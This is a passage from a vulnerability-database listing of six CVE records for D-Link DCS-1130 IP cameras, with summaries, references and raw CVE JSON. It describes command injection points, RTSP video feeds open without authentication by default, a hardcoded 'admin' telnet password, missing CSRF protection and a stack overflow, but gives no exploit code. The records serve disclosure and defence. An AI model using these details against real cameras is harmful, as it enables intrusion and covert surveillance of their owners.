Vulnerabilites related to dlink - dcs-1130
cve-2017-8408
Vulnerability from cvelistv5
Published
2019-07-02 15:46
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary "cgibox" is the one that has the vulnerable function "sub_7EAFC" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter "user" is extracted in function sub_7E49C which is then passed to the vulnerable system API call.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:22.970Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary \"cgibox\" is the one that has the vulnerable function \"sub_7EAFC\" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter \"user\" is extracted in function sub_7E49C which is then passed to the vulnerable system API call."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T15:46:20",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8408",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary \"cgibox\" is the one that has the vulnerable function \"sub_7EAFC\" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter \"user\" is extracted in function sub_7E49C which is then passed to the vulnerable system API call."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8408",
"datePublished": "2019-07-02T15:46:01",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:22.970Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2013-1599
Vulnerability from cvelistv5
Published
2020-01-28 19:54
Modified
2024-08-06 15:04
Severity ?
EPSS score ?
Summary
A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface.
References
| ▼ | URL | Tags |
|---|---|---|
| http://www.securityfocus.com/bid/59564 | x_refsource_MISC | |
| http://www.exploit-db.com/exploits/25138 | x_refsource_MISC | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/83941 | x_refsource_MISC | |
| https://packetstormsecurity.com/files/cve/CVE-2013-1599 | x_refsource_MISC | |
| https://seclists.org/fulldisclosure/2013/Apr/253 | mailing-list, x_refsource_FULLDISC | |
| https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T15:04:49.672Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/59564"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
},
{
"name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
"tags": [
"mailing-list",
"x_refsource_FULLDISC",
"x_transferred"
],
"url": "https://seclists.org/fulldisclosure/2013/Apr/253"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2013-04-29T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-01-28T19:54:43",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.securityfocus.com/bid/59564"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
},
{
"name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
"tags": [
"mailing-list",
"x_refsource_FULLDISC"
],
"url": "https://seclists.org/fulldisclosure/2013/Apr/253"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2013-1599",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.securityfocus.com/bid/59564",
"refsource": "MISC",
"url": "http://www.securityfocus.com/bid/59564"
},
{
"name": "http://www.exploit-db.com/exploits/25138",
"refsource": "MISC",
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941",
"refsource": "MISC",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"name": "https://packetstormsecurity.com/files/cve/CVE-2013-1599",
"refsource": "MISC",
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
},
{
"name": "CORE-2013-0303 - D-Link IP Cameras Multiple Vulnerabilities",
"refsource": "FULLDISC",
"url": "https://seclists.org/fulldisclosure/2013/Apr/253"
},
{
"name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
"refsource": "MISC",
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2013-1599",
"datePublished": "2020-01-28T19:54:43",
"dateReserved": "2013-02-04T00:00:00",
"dateUpdated": "2024-08-06T15:04:49.672Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8405
Vulnerability from cvelistv5
Published
2019-07-02 19:38
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called "Authenticate" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.097Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called \"Authenticate\" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T19:38:38",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8405",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 and DCS-1100 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary loads at address 0x00012CF4 a flag called \"Authenticate\" that indicates whether a user should be authenticated or not before allowing access to the video feed. By default, the value for this flag is zero and can be set/unset using the HTTP interface and network settings tab as shown below. The device requires that a user logging to the HTTP management interface of the device to provide a valid username and password. However, the device does not enforce the same restriction by default on RTSP URL due to the checkbox unchecked by default, thereby allowing any attacker in possession of external IP address of the camera to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8405",
"datePublished": "2019-07-02T19:38:02",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.097Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8415
Vulnerability from cvelistv5
Published
2019-07-02 20:13
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string "admin" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:22.971Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string \"admin\" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T20:13:43",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8415",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string \"admin\" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8415",
"datePublished": "2019-07-02T20:13:08",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:22.971Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8407
Vulnerability from cvelistv5
Published
2019-07-02 18:53
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user's password.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.054Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user\u0027s password."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T18:53:47",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8407",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user\u0027s password."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8407",
"datePublished": "2019-07-02T18:53:24",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.054Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8414
Vulnerability from cvelistv5
Published
2019-07-02 19:56
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter "-f" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:23.085Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter \"-f\" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption."
}
],
"problemTypes": [
{
